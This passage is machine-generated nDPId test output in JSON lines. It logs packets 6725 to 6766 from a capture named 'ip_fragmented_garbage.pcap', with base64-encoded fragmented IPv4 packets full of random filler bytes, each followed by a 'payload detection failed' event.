+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82103,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82128,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82156,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82210,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82283,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82295,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82307,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82320,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82474,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82584,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":82613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 